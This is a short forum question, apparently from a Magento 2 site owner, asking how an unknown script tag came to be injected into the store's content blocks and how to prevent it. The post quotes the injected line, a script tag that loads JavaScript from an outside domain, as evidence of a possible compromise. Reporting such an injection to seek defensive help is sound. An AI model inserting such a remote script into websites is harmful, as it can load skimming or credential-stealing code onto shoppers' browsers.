Skip to content

Preventing Automatic Script Injection in Magento 2: How to Stop Unwanted Scripts from Being Added?

I’ve noticed the following script being automatically injected into our Magento 2 blocks:

<script src="https://pixelia.shop/img/"></script>

We didn’t add this, and it seems suspicious, possibly indicating malicious code. Could someone explain:

How is this script being added to our blocks?
How can we prevent this and secure our Magento 2 site?
Any guidance would be appreciated.